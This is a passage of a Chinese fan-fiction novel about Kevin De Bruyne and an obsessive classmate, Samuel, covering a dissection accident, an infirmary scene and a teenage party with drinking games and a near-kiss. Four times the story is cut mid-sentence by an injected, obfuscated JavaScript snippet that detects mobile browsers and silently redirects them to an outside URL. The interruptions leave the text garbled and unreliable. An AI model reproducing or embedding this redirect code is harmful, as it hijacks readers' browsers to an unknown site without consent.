紧接着视线上移,德布劳内看到了塞缪尔的手。 那是一双很好看的手,手指又长又直,指节分明,在乳胶手套的边缘还能看到秀气的腕骨。 昨天塞缪尔就是用这双手在纸条上写写画画。德布劳内走神了。而也就是这几秒的时间,塞缪尔刀下的小鼠惨烈地尖叫起来。 “什么,怎么回事?” 瑞德教授迅速赶来。 德布劳内站在那里又好像没站在那里,他的人还在,灵魂已经飞走了。 “我、我不知道。”塞缪尔惊恐地看向瑞德教授,磕磕巴巴说。 “好了好了,没事了。”瑞德教授立刻处理了事故现场,然后安慰了塞缪尔,还向他道了歉,表示没想到还有一只小鼠幸存了下来。 “还好你下刀并不重,否则这就是一起教学事故了。”他开玩笑说。但遗憾的是,整间屋子没人觉得这很有趣。 瑞德教授撇撇嘴,又对塞缪尔问道:“需要什么吗?” “我想我得去校医院一趟。”塞缪尔说。 刚才小鼠挣扎的时候他的手被刀子划伤了。 瑞德教授没理由拒绝。他给了塞缪尔一块巧克力,还让德布劳内也陪他一起去。 走廊里静悄悄的。德布劳内低头跟着塞缪尔一起走。 “凯文?” 德布劳内没说话,他耳朵里都是心跳声,脑子里正在不断闪回刚刚的画面——飞溅的血液落在塞缪尔脸颊,还有侧面的颌骨上。 那一瞬间,他仿佛看到那旁边的嘴角正在上扬。 他在笑。 是,错觉吗? * 校医院里和走廊一样静悄悄的,医生不在,也不知道去了哪里。塞缪尔坐到床上,他快要按不住伤口了,血顺着流到手背。 “需要我做点什么?”德布劳内问。 塞缪尔想了想。 “酒精,碘伏,纱布,还有绷带。”他说,“差不多就这些。” “创口贴不行吗。”德布劳内又问。 他在校医的办公桌上看到了一整盒的创可贴,如果可以他不想去翻柜子。谁知道会翻出什么来。 “恐怕不行。”塞缪尔说,“解剖刀造成的伤口和平常的伤口不一样,更深,更长,我需要压住它来止血。” 德布劳内只好去按照塞缪尔说的找。 突然,他问道:“你为什么这么熟练?” 从玻璃柜的反光上,德布劳内看到塞缪尔怔了一下,然后笑起来。 “我父亲生前是一名外科医生。”他说,“如果他还在世,知道这件事后一定会要我缝针。” “……” 德布劳内找到了塞缪尔要的东西,沉默着给他带去,然后看着塞缪尔一步步处理伤口。 “抱歉。”他突然说。 塞缪尔缠绷带的手突然停了。 他抬头去看德布劳内,然后微笑说:“没关系。” 有点奇怪。 德布劳内萌生了想走的念头。 但在他开口前,塞缪尔突然叫住了他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818184|175420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “凯文?” “嗯。” “可以请你帮个忙吗。” “说。” “帮我拿点纸巾来。”塞缪尔偏了下头示意,“我想把脸上的血擦掉,如果我带着它们走出学校,我的管家会被吓死。” 不只是你的管家,我们都要被吓死了。 德布劳内拿了纸巾给塞缪尔,但塞缪尔还在缠绷带,空不出手来拿。 “你帮我擦吧。”塞缪尔说。 老天,你怎么不让我也帮你吃饭。 德布劳内心里想着,伸手去给塞缪尔擦脸。 然而因为时间问题,那些血有点干了。塞缪尔的皮肤被擦得发红,仍然有些暗红色粘在上面。 “你在这里坐好,我去沾点水。”德布劳内把纸巾折了折,转身去找洗手池。 抬起水龙头,水流哗啦啦地流出来,掩盖了杂乱的心跳声。 很奇怪。 德布劳内心想,塞缪尔的视线那么火热,皮肤却比正常温度要低。 他花了一些时间做完这简单的工作。 结果刚转过身,德布劳内发现塞缪尔不知道什么时候来到了他身后,静悄悄地站着。 “对不起,吓着你了?”塞缪尔问。 德布劳内抬头和他对视。 那一蓝一红两只眼睛闪烁着,德布劳内又想起了姨妈家的狗。 “我不是说过让你坐好。”德布劳内说。 “你走了好久,我一个人坐着难受。”塞缪尔说得有点委屈,“就在这里吧,你帮我擦。” 塞缪尔向前一步。 德布劳内手掌向后撑在洗手池上,他仍然很排斥外人距离他太近。 “我说,回去坐好。” 塞缪尔看了他一会儿,竟然真的乖乖回去在床边坐好。 德布劳内攥了攥沾水的纸巾,弯腰给塞缪尔擦脸。遇到不好擦的地方塞缪尔还会偏头,让德布劳内能更方便一点。 为什么我会在这里,做这种事? 德布劳内心里抱怨着,突然产生了种奇妙的幻想,他感觉他和塞缪尔现在就像一对儿默契的屠夫。 ……或许屠夫和他的狗更贴切一点。 指节碰到耳朵,德布劳内看到塞缪尔头顶的碎发抖了抖。他看着塞缪尔嘴唇,鼻尖,睫毛,眉骨,最后又回到头顶。 某种冲动让他把手掌放上去。 揉了揉。 “好狗。”他说。 话音落下,两个人都愣住了。 德布劳内后退一步,手上湿.哒哒的纸巾掉在了地上。紧接着塞缪尔抓住了他的手,用那只缠好了绷带的伤手。 绷带结刚好卡在德布劳内两根指骨之间。 “松手。”德布劳内说。 “我没想伤害你,凯文。”塞缪尔说着,将德布劳内的手拉回自己头上,轻轻拍了两下,“从来没有人这么对过我,甚至我的父母也没有。” 德布劳内不动了。 塞缪尔也不动。 突然,德布劳内看到塞缪尔脸颊上残留了一小块纸屑。他抽回手,用拇指捻掉了那块纸屑。 然后转身逃离了校医院。 门缓缓关上,塞缪尔还坐在那里,低着头,时不时笑一下,像是在回味。 过了一会儿他起身,捡起了那团被血和水晕开的纸巾。 冰冰凉凉的。 没有温度留下。 塞缪尔嗅了嗅那团东西,最后把它收进口袋。也离开了校医院。 6. 06 这天晚上德布劳内没有睡太安稳。早上起来梦的内容记不清了,他拿了两片面包骑上自行车准备去比赛。 从他住的街区到亨克俱乐部的训练场要骑40分钟,中途会经过一条树林边上的土路,很宽敞,但不太好走。 德布劳内骑车来到这条路上,走了大概10分钟,能看到边上分出来一条狭窄的岔路。他从来没有走过这条路,只知道是通往这里那座著名老宅的。 也就是塞缪尔家。 骑行的速度慢了下来,德布劳内注意到在岔路和主路的交口处多了一个很新的路牌。 上面写着:前有塞缪尔·邦迪的房子。星期六/星期日派对举行,已除杂草,此处可通行。 牌子的下方还附有一个简易地图。 德布劳内看了一下,从这条岔路下去,中间的位置是塞缪尔家,而尽头还会回到主路,并且就在亨克俱乐部训练场的偏门旁边。 但要多骑20分钟。 停了一会儿,德布劳内还是决定从这里走一次看看。能直接到训练场小门的路就是好路。而且还能顺便看看那老宅长什么样。 他一直就挺好奇的。 5分钟后,德布劳内见到了传说中的老宅。 它确实很旧了,即使翻新过也能一眼看出两个世纪前的风格。靠近道路这一侧有两排带尖刺的围挡,连接着一扇铁门。后院看上去荒废得更久,并且近期也没有任何种植计划。 这种德古拉式的‘城堡’倒是适合塞缪尔,他想。然而下一秒,他就看见塞缪尔带着一块新的路牌从里面走出来。 哦,该死。 就在德布劳内面无表情地骂了句想要赶快骑走的时候,塞缪尔也看见他了。 “早上好,凯文。真巧。”塞缪尔对他打了招呼,“你怎么会在这里,难道是来帮我布置派对的?” “我去训练场。”德布劳内说。 等了半秒,他又补了句:“——早。” “嗯,我想起来了,你今天有比赛。”塞缪尔笑着说,“对不起,昨天我……” 『昨、天』 德布劳内感觉心脏狠狠跳了一下。 脑子里同时以闪回的方式播放了昨天下午发生的一切。 画面停在他丢下塞缪尔落荒而逃的那刻。 “没什么。”他直接打断了塞缪尔的话,“你什么都没做错,没必要道歉,你还受了伤——你的手怎么样?” “已经没事了。”塞缪尔说。 他向德布劳内展示了自己重新包扎好的左手,德布劳内注意到在他虎口的位置,绷带打了个不太寻常的结,像军队里的。 “我的管家处理外伤也很厉害。”塞缪尔又说。 德布劳内看了他一眼,感觉他还想说昨天科学课的事,于是继续岔开话题。 他问:“这么早你出来干什么?” “这个,我得来提前插好。”塞缪尔指了指路牌,“我跟你说过的,这两天我要在家举行派对。” “嗯。” “毕竟这里挨着树林,晚上也没什么灯,要是迷路就不好了。”塞缪尔说着突然停了下来,笑了笑又继续说道:“谁知道荒郊野岭会遇上什么呢。” 德布劳内皱眉,不明白他在暗示什么。 塞缪尔笑了。 “恐怖电影里不都是这样吗。大家出去玩,房子在树林中央,没有邻居也没有信号,结果遇上杀人魔。”他耸耸肩说。 “……” 无聊。 德布劳内在心里翻了个白眼。 正要走,塞缪尔叫住了他:“你晚上还回来吗,凯文?” “什么?”德布劳内回头看他。 “我是想说,你比完赛回来还走这条路吗?” 我为什么还走这里, 因为喜欢多骑20分钟吗? 但德布劳内耸耸肩,说:“看情况。” 似乎这句话给了塞缪尔希望。 “那既然你还会路过这里,为什么不进来和我们一起玩呢?”他再次邀请德布劳内来参加派对,“我保证会很有趣。” 有趣个鬼。 德布劳内心里暗骂一句。 “那很晚了。”他说。 “是啊,所以大家都会在这里过夜。”塞缪尔说,“我家很多房间可以用。” 不知道为什么,德布劳内想起塞缪尔脸上带血的样子,紧接着他幻想出塞缪尔脸上带血手里拿着解剖刀站在他床前对他微笑的样子。 呼吸突然加重。 然后,德布劳内鬼使神差地同意了。 “太好了。”塞缪尔笑起来。 如果让学校那群人看到他现在笑的样子,估计又会在背后几个人偷偷凑在一起尖叫啊啊啊他真迷人吧。德布劳内心想。 “晚上我等你。”塞缪尔又说,“相信我,我会给你安排最好的房间。” 德布劳内轻轻点头,骑上车飞速离开。 * 耽误了半个钟头,凯文·德布劳内终于来到训练场。 “早啊凯文,这么早就来训练了。”某位助理教练隔着老远对他打招呼。 他没回话,只是挥了下手。 我平时都来得很早,你怎么没注意我今天来晚了呢。这种人竟然是青年队的助教,真是见鬼。 德布劳内心里发泄着,带上一颗球来到场内。通常情况下他不会这么做,即使是在心里他也只是想一些乱七八糟的东西,而不是辱骂看到的一切。 这都是谁的错? 反正不是我,他哼了一声。 因为下午有比赛,所以上午的训练不会太费力,只是简单的热身。 德布劳内站在距离球门25码的位置,对着门前一排假人练习任意球。 然而就是这样简单的训练他都做得不好。 昨天的画面还萦绕在他眼前。 真是见了鬼。 就不该绕路去看那老房子,不然也不会碰到塞缪尔进而又想起昨天下午的事。 该死,他又想了一遍。 塞缪尔坐在校医院的床上, 塞缪尔低头缠绷带, 塞缪尔被他捏着下巴擦脸上干掉的血迹, 塞缪尔捧着他的手摸自己的头…… ‘哐当’一声。 德布劳内踢出的球重重砸在横梁上。 “凯文你今天的传球有点用力哦。”旁边的队友看不下去了,凑过来对他提醒道,“稍微轻一点吧。” 德布劳内看了他一眼:“有吗。” “嗯。”队友点头,“再轻一点。不然到时候你万一把对面门将踢死了怎么办,我们会被直接扣3分的。” “哈哈。”德布劳内故作轻松地笑起来。 但他内心毫无波澜。 一点都不好笑。 * 晚上8点,比赛结束了。 亨克青年队4-0大胜了对手,德布劳内进了1个球,还给队友助攻了2个,拿到了一笔不小的奖金。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15823850|175420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他们的门将也拿了零封奖,赛后还感谢了德布劳内的贡献。 回程的路上那高个子门将似乎还想和德布劳内聊点什么,但德布劳内的心已经飞回了郊区。 等他赶回去已经是深夜了。 塞缪尔的老宅灯火通明,德布劳内好奇他能把派对办成什么样子。 进到现场后,他承认他有点失望。 鼓点很强的音乐,闪烁但不明亮的彩灯,拿着酒杯假装自己很放松其实很臭屁的青少年男女…… 派对标配,没什么新奇的。 就这?他竟然敢说我一定会喜欢。 德布劳内在心里翻了个大白眼。 很快,不少人注意到了德布劳内的出现,开始窃窃私语。 ‘这家伙怎么来了?’ ‘他从不参加任何派对。’ ‘怪人怎么也在?’ ‘……’ 德布劳内不在乎这些评价,他只觉得无聊。又转了几圈多看了眼塞缪尔家的布置后,德布劳内打算走了。 这不是他应该在的地方。 但就在这时,他转身撞在了塞缪尔身上。塞缪尔手里拿着两个杯子,被他这么一撞其中一杯洒出来不少。 “嗨凯文。”塞缪尔说。 因为音乐很吵,德布劳内只看到他的嘴在动。 “你怎么神出鬼没的。”德布劳内抱怨,“住在德古拉的地方不代表你就是德古拉。” “嗯?” 塞缪尔凑过去,却只听到了后半句,于是笑着问:“你觉得我像德古拉吗?” “这不是——这不是夸奖。”德布劳内对着塞缪尔的耳朵说。他不喜欢被人靠他太近,所以在他主动的时候也要拿捏好分寸才行。 刚才开口他就没掌握好距离。 “在我看来这是夸奖。”塞缪尔也转过来对着德布劳内的耳朵说,“德古拉深情又专一,还是永生不死的。” 永生…我现在就快热死了。 德布劳内站远了一点,又觉得太远不好,于是退回去半步。 他不想再继续什么吸血鬼的话题了,指了指塞缪尔手里的杯子问道:“这是什么,汽水?酒?” “是掺了酒的苏打水。管家不肯给我纯酒精。”塞缪尔笑笑,把满的那杯递过去,“来,这杯是你的。” 德布劳内没接。 他扫了一眼塞缪尔的两只手,抬抬下巴:“给我那杯。” “可是它被我喝过了。” “嗯,给我。” “好吧,既然你想。”塞缪尔把另一杯给了德布劳内,“我们干杯。” 他们拿着各自的苏打酒学着大人的样子碰了个杯。 德布劳内觉得这蠢透了。 他把杯子里的液体一饮而尽,然后,一股辣劲顺着嗓子直达胃部。 “咳咳咳——” “天,凯文。”塞缪尔过去扶住他,轻拍他后背,“你喝得太快了,缓一缓。” 德布劳内瞪着塞缪尔,“你说它掺了苏打水。” “是掺了,但还混了两种酒。”塞缪尔说,“你一定没怎么喝过这种东西。要我扶着你吗?” 德布劳内挡住了塞缪尔的手。 “我自己可以。”他说。 塞缪尔还想说点什么,但就在这时,雷蒙德突然出现在二楼的露台上。 他暂停了音乐,然后醉醺醺地大声对所有人说:“游戏时间!都到这里集合,我们今天玩个新游戏——‘我从来没有过’!” 7. 07 塞缪尔对雷蒙德的提议兴致勃勃,他碰了碰德布劳内:“走吧,凯文。我们到楼上去。” 德布劳内“嗯”了一声,跟着塞缪尔往楼梯走。他明明不喜欢这种活动,为什么同意了?德布劳内把一切归结于酒精。 “人好多,他们怎么请了这么多人来。”音乐已经停了,但塞缪尔还是对着德布劳内的耳朵说话,“跟我来,我带你去坐电梯。” 德布劳内狐疑地看向塞缪尔。 塞缪尔耸耸肩。 “很难相信吧,这老房子还配有电梯。”他说,“不过要绕到另一侧去,好处是人少。你来吗?” 这是废话。 没有比人少更吸引德布劳内的了。 穿过两道厚重的木门,他们躲开其他人来到一处安静的空间。这里的装饰要少一些,也比刚刚的主厅要黑。 德布劳内猜测这大概是上个世纪给佣人们使用的地方。 “到了,就是这个。”塞缪尔来到一个铁栅栏前,他将一把钥匙塞进锁眼,随着嘎吱吱的声音,电梯门打开。 这东西说是电梯,但应该是电梯的祖先。它空间非常狭窄,一次只能容纳一名成年人乘坐,顶上只有一个指甲盖大小的灯,作用几乎等于没有。 “进来吧。”塞缪尔走了进去,然后对德布劳内说。 德布劳内扫了眼环境,犹豫了。 “你先去。”他说,“这太小了,我们两个——” “没问题的,我们挤一挤,不影响。”塞缪尔说着又对德布劳内招手,“来吧,不然游戏没办法开始,会有人下来找我们的。” 不,他们会找你。 顺便找到我。 德布劳内想到了最糟糕的后果,一狠心,跟着塞缪尔上了电梯。 结果就是挤, 非常挤。 他们并排站着,胳膊紧贴,腿也是,就连呼吸也混合在一起。 突然,塞缪尔捏了下德布劳内的手指尖。德布劳内感觉自己的胃像被什么东西拧了一下,不疼,但是从它开始某种被腐蚀发麻的感觉传遍全身。 “干什么?”德布劳内问。 “你有没有觉得,这东西就像个棺材。”塞缪尔笑着说,“双人的,移动式棺材。” “……” 这是什么诡异的形容。 德布劳内在心里嘲笑了塞缪尔的话,但在嘴上,他说:“你想跟我死在一起?” 该死,更奇怪了。 德布劳内正心里谴责自己,塞缪尔笑了。他好像很喜欢德布劳内刚刚的话,笑声在拥挤的电梯里回荡,每碰到德布劳内的皮肤一下都会给他带去灼烧的感觉。 “如果可以的话。”塞缪尔回答,“我的荣幸。” 德布劳内开始头晕。 怎么还不到? ‘叮’地一声,电梯终于到了二楼。 老天。 只爬了一层楼怎么像是过去了一个世纪? 德布劳内想,还不如跟着人群一起走楼梯,至少空气不会不够用。 两人来到露台后面的会客厅,果然,所有人都吵着要找塞缪尔。 “他来了!” 不等德布劳内说上半个字,塞缪尔就被一群人簇拥着带走了。他被安坐在了珍妮丝和雷蒙德中间。特纳给了他一杯酒。 “……” 德布劳内不耐烦地啧了一声,在塞缪尔对面的几个人身后坐下。然后他找了个空杯子,让旁边人给他倒了一些苏打酒。 “好,那游戏正式开始!”特纳站起身,“我先来,我从来没有——在游泳的时候被石头划破过小腿!” 大家都笑了。 这很明显是针对谁的,雷蒙德喝了一大口酒,然后给了特纳一个肘击。 接下来是雷蒙德。 不过他不打算报复特纳的针对行为,看了一圈所有人后,他拖长声音说道:“我从来没有穿着睡衣睡过觉。” “噢——” 在场的大部分女生都抱怨着喝了酒。 “这个不错。”珍妮丝笑着点评。 紧接着到了她。 “我要来一剂猛的。”她说,“我——从来没有暗恋过一个人!” “嘿!” 这话扫射了一大片。 许多人都抱怨着喝了酒。 德布劳内看到塞缪尔没动,他想了想,也没动。 终于,到了塞缪尔。 “给我们来个好玩的!塞米,塞米!”珍妮丝带领众人欢呼。 德布劳内从缝隙中看着塞缪尔,他也想知道塞缪尔能说出什么来。 就看见塞缪尔举着纸杯,缓缓站起来。 他微笑说:“我,从来没有,接·过·吻。” 屋子里瞬间炸了锅。 大家都在起哄。 塞缪尔在笑,德布劳内受不了这种混乱干脆躲到了后面去。 但是,在人群中,他知道他在看他。 你在想什么鬼东西。 德布劳内在心里骂了自己一顿,这就是你非要来这见鬼的派对和见鬼的酒的下场! 起哄声小一些了。 既然知道了塞缪尔的初吻还在,那么这群青少年就不可能放过他。 “来转瓶子吧!”特纳说,“瓶口指到谁,塞缪尔就跟谁把初吻搞定。” 这太蠢了,德布劳内心想。 然而不等特纳转动瓶子,珍妮丝主动拿走了它。 “这件事我可以帮他。”她说。 人群再次起哄。 塞缪尔一直在看德布劳内,德布劳内嗤笑了一声,终于回了他一个眼神:你希望我阻止她吗? 不过德布劳内没动作,倒是雷蒙德跳出来了。 “你们不能接吻!”他大声说。 在亨克中学,雷蒙德和珍妮丝也是热门话题。 “亲她!亲她!亲她!”有人说。 雷蒙德真的那么做了,但他醉醺醺地找错了人,转头把嘴凑过去要亲塞缪尔。好在塞缪尔及时捂住嘴,雷蒙德亲在了他手背上。 孩子们大笑。 “错了,珍妮丝在另一边!” 雷蒙德惊恐地看了塞缪尔一眼,但不肯承认,大声反驳:“你们都想我亲她,我偏不!” 真是没脑子的家伙。德布劳内想。 “抱歉,雷蒙德。”塞缪尔拍了拍雷蒙德的肩膀,“就算你想亲的是我也不行,我得把自己留给灵魂伴侣。” 灵魂伴侣? 大家又笑起来。 “什么年代了找灵魂伴侣。”有人说。 塞缪尔没有因为这样的话而生气,他还是笑着,说道:“是啊,很老套。但我还是想要一个能陪我永生的吸血鬼伴侣。” 德布劳内一下抬起了头,又迅速低下。 开什么玩笑。 “好吧,你们接着笑,我出去一下。”塞缪尔说着往门口走。 没人发现异常。 “放完水赶快回来。”特纳说,“我们还有好多游戏。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15833174|175420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 塞缪尔答应了,他走出去。临走前他似乎看了眼什么方向,阴影里,他充血的那只眼睛又变了色,像墨水一样黑。 大约半分钟后德布劳内悄悄跟了上去。 该死的酒精。 * 他在浴室找到了塞缪尔。或者说,他不知道那里是浴室,只是看那里的门半掩着,想去碰碰运气。结果真让他碰对了。 塞缪尔坐在浴缸边上,微低着头。 “浴缸里能长出你的灵魂伴侣?”德布劳内开玩笑说。 塞缪尔没接话,抬头看着德布劳内。德布劳内顿时感觉情况有点棘手。 于是他也坐到浴缸上,挨着塞缪尔。说点什么,他想,你不是喜欢和我说话吗。 塞缪尔没有读心术。 德布劳内感觉他好像在看他的小腿,往里收了收。 浴室里安安静静的,隐约有滴水的声音。 又过了几个世纪,塞缪尔突然开口说道:“我以为你刚才会帮我。” “……” 德布劳内没听明白。 “什么?”他问。 “我以为我们是朋友。”塞缪尔又说。 “……” 德布劳内觉得很好笑,他笑了几声,看着地板的花纹说:“你不需要我。” 对这种场面你不是应对自如吗,是你主动提到没接吻过,导致他们跟疯子一样。你看着挺享受的。我能怎么帮你。 “好吧。”塞缪尔说,“也许下次我大叫你的名字,你就知道我需要你了。” 德布劳内嗤之以鼻。 还有下次? 见德布劳内不接话,过了一会儿,塞缪尔换了个话题说:“我刚才看到你没喝酒。” “……” 塞缪尔又问:“你是不是不知道这个游戏的玩法?” “知道。”德布劳内说。 他当然知道。 “那你接过吻吗?”塞缪尔还在问。 德布劳内想避开这个话题,又不想让人发现。于是他停了半秒,回了个“嗯”。 其实没有。 不是说他害羞到不敢接吻,只是没人提,他也不主动要。 接吻有什么好的。 两个人嘴对嘴,用吃饭的舌头舔对方,能证明什么? 德布劳内没亲过人,但他有脑子,他看过别人接吻,也看过电视剧。 简单一点的,把嘴唇压过去就行。难一点的,张嘴,舌头进去转一圈也就完了。 没什么难的。 所以他一直不是很理解为什么大家对这种交换口水的行为那么痴迷。 难道是因为距离? 严格意义上讲,一个人是没办法真正属于另一个人的,所以大家都争着抢着想把自己的一部分放到对方里面,就像动物用信息素来圈地盘。 德布劳内眼神飞了飞。 他经常有这种神游天际的情况,脑子里乱七八糟什么都想。大部分时候是为了打发无聊的时间,小部分时候是为了让大脑不去想某些事。 就比如现在。 塞缪尔看着身边紧绷但走神的德布劳内笑了一下,然后迅速调整好表情。 “凯文?” “——嗯。” “你能不能教教我。” 德布劳内快速瞥他一眼,“教你什么?” “接吻啊。”塞缪尔微笑说,“你有经验,教教我怎么跟人接吻吧。” 德布劳内感觉天塌下来了。 8. 08 早知道这样不如说实话,搞得现在不上不下的。德布劳内烦透了,但他还维持着基本的冷静,就那么坐在原地。 “这种东西要怎么教。”他说。 “我不知道,你才是接过吻的那个。”塞缪尔看着地砖的缝隙,眼神闪烁了一瞬,“或许你先告诉我要怎么做,然后带我实践一下。” 实践?接吻? 疯了吧。 德布劳内感觉浑身都开始发痒,屁股底下原本冰凉的浴缸也变得像岩浆一样烫。 但他说出口的却是:“现在吗?” “嗯。”塞缪尔向他投去期待的眼神,“就现在。” 完了,完了。 看看你把自己置于什么境地。 德布劳内在浴室里四处观察想要找到离开的借口。镜子,洗手池,牙刷,毛巾……见鬼!脑子,快想啊! 与此同时,在他内心有一小片被刻意忽视掉的地方。那里正在猛烈地跳动、尖叫着让他快进行这鬼扯的接吻指导。 那里在想:塞缪尔不会接吻,他竟然没做过。要是能叫他听话…… 德布劳内又不受控地记起了昨天在校医院的那段经历。 如果他可以随意摆布一个有思想、不受控、在外人眼中极受欢迎的塞缪尔,会怎么样呢?塞缪尔不会乖乖坐在那里,除非我要他那么做。 什么?一个服从指令的塞缪尔。 德布劳内把自己的心动藏得很好,很深,甚至连他自己都被蒙骗了。 但他没注意到的是,就在他观察四周的时候塞缪尔也在观察他。 真是有趣。 看到德布劳内会因为他的一个请求失去平常的伪装变成这个状态,塞缪尔心跳加速,由衷地感到兴奋和愉悦。 该给你一个什么故事呢? 他提醒道:“凯文?” “我知道。”德布劳内站起身,来到塞缪尔面前。 塞缪尔仰头看他。 但紧接着德布劳内把塞缪尔的头按了下去。 “别动。” 塞缪尔乖乖没动。 然后呢? 好期待啊。 “我说什么你就做什么。”德布劳内一只手托起了塞缪尔的下巴,“否则学不好,全都是你的错。” 塞缪尔忍不住直视他的眼睛,“可是……” ‘啪’的一下。 德布劳内用手背拍了塞缪尔的下颌。 “按我说的做。” 塞缪尔闭了嘴。德布劳内的手也重新托起塞缪尔的下巴,只不过这回更用力,并且手指也掐住颌骨。 “首先,你要和接吻对象保持距离。”他讲解说,“这样的位置是最好的。” 德布劳内真的没接过吻,但只要他想,他可以在任何领域都显得十分专业。 至于为什么非要抬头。那是因为人在抬头时某些肌肉会受到压迫,导致鼻腔呼吸变得不那么容易,大部分人会下意识微微张嘴。 像是做好了接吻的准备。 塞缪尔没有张嘴。 也对,他不是大多数人。 德布劳内突然心情愉悦,他稍稍放松了钳制的力度,拇指在塞缪尔的下颌线上来回安抚。 事情有点超过塞缪尔的预期,但他是喜欢的,也更加期待。 接下来呢? 你要怎么做? “弯腰,向你的接吻对象压过去。”德布劳内说着缓缓靠近塞缪尔。 要亲了,这就要,跟人接吻了。他想着,有点遗憾自己的初吻居然是在谎言的包裹下进行的,不过塞缪尔的听话很好地弥补了这点。 他一定想不到,近在咫尺的塞缪尔心里是与他截然相反的状态。 拿走吧拿走吧拿走吧! 快!把我的一切都拿走吧! 塞缪尔快要溺死在德布劳内的呼吸里,他不想获救。他甚至想,如果凯文的手能更往下一点,更用力一点,掐到他失去意识,那该有多好。 ‘嘭、嘭’ 浴室的门被敲响。 “塞缪尔?你在里面吗?”雷蒙德醉醺醺地抵在门上,不是敲,几乎是在砸门,“你去了好久,我们都结束好几轮了。” 属于两个人的气氛被戳破,塞缪尔脸色一下难看到了极点。 不过慌张的德布劳内没有注意到这点,因为害怕被发现,他手上一用力,带着塞缪尔两人一起滚进了浴缸。 塞缪尔的后背磕在缸底,疼得像亲手捂死心爱的宠物。但他反而很开心。因为他看到德布劳内撑在他上面,用与刚才不同的鲜活表情看着他。 复杂、丰富的情绪一下塞满胸口。 好满足。 ‘哐当’的声音吸引了门外的雷蒙德,醉酒状态下他以为塞缪尔出事,开始更猛烈地撞门:“你没事吧塞缪尔,等等,我马上进去救你!” 真好。德布劳内想,这里简直是电梯的升级版本。 其实他并不担心被雷蒙德看到,看到就看到了,能怎样?一个醉鬼的认知程度是有限的,他还不至于害怕这家伙看到他准备亲塞缪尔。 即使那家伙想打架,德布劳内可是练足球的。那可不是什么优雅的运动。 所以为什么会有这种反应? 德布劳内把它归咎于人类本能与不久前摄入的酒精。都是些害人的玩意。 “没事的,凯文。”塞缪尔突然说话,德布劳内猛地看过去,下意识又想教训他,但紧接着意识到现在已经不是教学环节了。 “你打算怎么办。”德布劳内问,“赶走他?” 塞缪尔拍了拍德布劳内的胳膊,翻身到上面去,然后对外面的雷蒙德说道:“我在里面,我没事,你不用撞门雷蒙德。当心我家的古董门,它禁不起折腾。” 撞门的声音停止了。 “你吓坏我了,老兄。”雷蒙德听起来松了一口气,“到底发生什么?” “没什么。是我喝得有点多,没站稳,不小心弄湿了衣服。”塞缪尔对德布劳内笑着眨眨眼,回答说。 德布劳内翻了个白眼。 他一点也没觉得这样的谎话高级。 “听着,雷蒙德,我很快回去,告诉大家别担心好吗。”塞缪尔又说。 “那我等你一起回去。”雷蒙德坚持等他。 塞缪尔做了个无奈的表情,从浴缸里爬起来。德布劳内拽了拽他的袖子,小声说:“我们可以一起出去,你走快一点,他不会看到我。” 毕竟这家伙醉得那么厉害。 而且本来也没什么脑子。 塞缪尔点点头。在最后出去前,他脱掉了夹克外套,然后打湿扔在地上,以保证谎言不会被戳穿。然后他塞给德布劳内一把钥匙。 “三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15838745|175420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼尽头的那间卧室,我给你留的。”他说。 德布劳内挑眉:“你给所有的屋子都上了锁吗?” “不,只有给你的这间。我得保证不会有人进去捣乱。”塞缪尔小声说完打开门,“好了雷蒙德,我结束了。我们回去。” 门板挡住德布劳内的身影。 雷蒙德果然没发现。 现在浴室只有德布劳内一人了,他没有立刻跟在后面出去,而是盯着地上塞缪尔的外套看了好久。最终他决定,这不关他的事,就让它躺在那儿。 德布劳内走出浴室,去找三楼上锁的房间。他一点也不累,心跳也还很快,但这次的他选择守序。 * 塞缪尔跟着雷蒙德回去,心留在了原地。 等他们进去,房间里已经没有清醒的人了。大家醉得像包装袋里的扭扭糖。特纳举着只剩一个底的酒杯,乱七八糟说着什么。 并不意外。 塞缪尔的笑开始不走心,他的耐心快到极限。 